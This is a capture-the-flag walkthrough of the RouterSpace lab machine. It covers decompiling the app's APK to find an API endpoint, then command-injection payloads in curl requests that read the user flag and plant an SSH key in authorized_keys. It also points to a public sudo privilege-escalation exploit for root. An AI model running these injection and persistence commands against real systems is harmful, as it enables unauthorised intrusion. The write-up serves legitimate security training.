Not the @Guardians you were expecting!
Enumeration
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
We can take a look at the http port and see what’s happening:
The obvious route is to look at the apk provided to us by clicking download in the top right. We can decompile this into it’s respective source code and take a look around. We use apktool for this:
apktool d RouterSpace.apk
We can also use online decompilers:
http://www.javadecompilers.com/apk
A final and my favourite alternative is:
https://mobsf.github.io/docs/#/
It provides a local, web-based GUI for reversing java files. Go through the install steps and run the environment via the run script. After doing so, we navigate to the web-page and upload our apk
:
You should see after a while that the screen changes and we get a lot more options:
We have access to the original source code and included libraries for the binary. We can presume this will lead us to most information on the website. It seems when we get a 404
page that we’re given a request ID and blocked by a WAF:
Looking into the certificate on the apk
we see there’s a domain listed:
APK is signed
v1 signature: True
v2 signature: True
v3 signature: False
Found 1 unique certificates
Subject: C=SL, ST=Colombo, L=Colombo, O=routerspace.htb, OU=routerspace, CN=routerspce
Signature Algorithm: rsassa_pkcs1v15
Valid From: 2021-11-18 13:15:21+00:00
Valid To: 2049-04-05 13:15:21+00:00
Issuer: C=SL, ST=Colombo, L=Colombo, O=routerspace.htb, OU=routerspace, CN=routerspce
Serial Number: 0x5a411405
Hash Algorithm: sha256
md5: 214a9b17352972333ddf5e4bbfe0e2ad
sha1: 23c88a23819858a82a402def82eb92ba188a909d
sha256: dac3cc454169abcec3707c5842e197c1f80968f0f701621588666e84131a9673
sha512: 82d9685f4219b492c10bcb3b1812afb8e6d589e653fc9df8f3e9e75a99cec037a10be188626a337c0e969dd86bbef63b371124d9fec53dcfabc0a62671cbafee
PublicKey Algorithm: rsa
Bit Size: 2048
Fingerprint: a68fda1a5a8ab411bc1483ff94d7c31c440190e917a283acb55725d32ed19148
Looking through the files, we see there’s a index.android.bundle
file, we can extract this using npx
or we can copy all of it’s contents over to
https://beautifier.io/
After searching through all references to routers, we find:
function _0x31d2() {
var _0x379495 = ['EwCVL', 'ugPGw', 'Router is ', '-Bold', 'data', '30158095HXLvSs', 'post', 'eAgent', 'http://rou', '10BrHGoD', 'gray', '80%', 'applicatio', 'white', 'ck your in', 'ternet con', 'tb/api/v4/', 'Please pro', 'Image', 'XvhFJ', '2111347AIyazK', 'v/check/de', 'vide an IP', 'working fi', 'DKyDg', 'YnNsf', 'tzoEq', 'EKNxl', 'the server', 'log', 'ne!.', 'NunitoSans', 'OgZoU', 'TouchableO', '32457sfggQZ', 'nection.', '[ RESPOND ', 'center', 'createElem', '__esModule', 'per', 'mGNnc', 'then', 'catch', 'contain', 'uAiCt', 'bottom', '42740dmWhFN', 'Text', 'ButtonWrap', 'OLDvc', 'Sorry !', 'terspace.h', 'n/json', 'StyleSheet', '/router/de', 'darkgray', 'JHvFI', 'transparen', 'UWIVj', 'Please che', 'SZqEq', 'default', 'HrHYj', 'Hey !', 'monitoring', 'StatusBar', 'error', '1013605BwxVJG', '[ DEBUG ] ', 'defineProp', 'gUnlE', 'Unable to ', '25%', 'pacity', 'ButtonText', 'gKQYs', '1006000MsdmAT', 'handleSubm', 'PpdRl', 'shxxV', 'ent', 'View', 'erty', 'show', 'Formik', 'Check Stat', '0.0.0.0', '128BJBUSC', '6BAxhAU', '4584186MTHGwP', 'connet to ', 'vESlr', 'GHjuW', ' Address.', 'container', 'create', 'RouterSpac', 'viceAccess', '72dIvHGU', 'info'];
_0x31d2 = function () {
return _0x379495;
};
return _0x31d2();
}
User own
Looking into it, we get the following string:
http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess
We still can’t access this due to the WAF however sending POST requests gives us a different output:
curl -X POST http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess -H 'Content-Type: application/json' -H "User-Agent: RouterSpaceAgent"
We get undefined
, we can try send data and see what happens:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>SyntaxError: Unexpected token r in JSON at position 0<br> at JSON.parse (<anonymous>)<br> at createStrictSyntaxError (/opt/www/public/routerspace/node_modules/body-parser/lib/types/json.js:158:10)<br> at parse (/opt/www/public/routerspace/node_modules/body-parser/lib/types/json.js:83:15)<br> at /opt/www/public/routerspace/node_modules/body-parser/lib/read.js:121:18<br> at invokeCallback (/opt/www/public/routerspace/node_modules/raw-body/index.js:224:16)<br> at done (/opt/www/public/routerspace/node_modules/raw-body/index.js:213:7)<br> at IncomingMessage.onEnd (/opt/www/public/routerspace/node_modules/raw-body/index.js:273:7)<br> at IncomingMessage.emit (events.js:203:15)<br> at endReadableNT (_stream_readable.js:1145:12)<br> at process._tickCallback (internal/process/next_tick.js:63:19)</pre>
</body>
</html>
We can try different methods of RCE:
curl -X POST http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess -H 'Content-Type: application/json' -H "User-Agent: RouterSpaceAgent" -d '{"ip":"127.0.0.1; whoami"}'
We find that we’re already the user and can grab our flag:
curl -X POST http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess -H 'Content-Type: application/json' -H "User-Agent: RouterSpaceAgent" -d '{"ip":"127.0.0.1; cat /home/paul/user.txt"}'
If we want a shell, we can generate an ssh key pair and add it to /home/paul/.ssh/authorized_keys
:
curl -X POST http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess -H 'Content-Type: application/json' -H "User-Agent: RouterSpaceAgent" -d '{"ip":"127.0.0.1; echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEDLGHWkOMTeGI2r97VHUqUU0o9sQKngmvZWtRBkpWd/uxkAtQNeqhtO8cD9dtlRkEpbqHHwHfY3luYJ/JFIJVzJ0RBx1+BvRQ+SISf/0KdveVFzKh42QDGb1IbSJE6lUZVhBScs+7v/LWm9mYtva8hyQTqPg7FpXTN86X2GpExaDtqJjxm2MA4bh/oUI0Ns1MjENRDaE8igVfujGv/E92eKCCP48PJvItEtoC1xg74Ha0b5+xO4x5Trnum2bri47y5vl0a3LAVS86pm++MGJNjWQLO8wB1IUWIh2ixMY5vH70eAjVYqd4AaWP8J03dnadx4fQ0CzO1MCaTam1mT/v/FQBg31HxyK40ANKyfeMMh30JQTWvJLQKve4ZUMoELCdM5wt4sTScXCBAh1xybxTaYm6qolFjqqKz/QEW1PKPIrMvABP3zuiiTvPLEvPuiuqradq71qafqH+hdG10PRncJFP8vKLCI4QRdFn7powJrbAHIURZ0TYma8BkB3o5pM= syn@deb64 > /home/paul/.ssh/authorized_keys"}'
Root own
We move onto root, we can’t connect back to ourselves however we’re fine to base64 encode tools like linpeas and decode them onto our machine. Nothing immediately stood out so I went back to manually enumerating. After a while, I found that the sudo binary was out dated:
Googling this gives us a github page with a public exploit:
https://github.com/mohinparamasivam/Sudo-1.8.31-Root-Exploit
We can test this prior to exploiting using:
sudoedit -s Y
We are prompted for a password, rather than given the usage information which suggests that we can exploit this. We copy the source code over to the box (just open nano and paste) then run the make
command. You should get a binary called exploit
, we simply run this using ./exploit
:
Had this not been vulnerable, we would get output like this:
With our new shell, we can grab root.txt
from /root/root.txt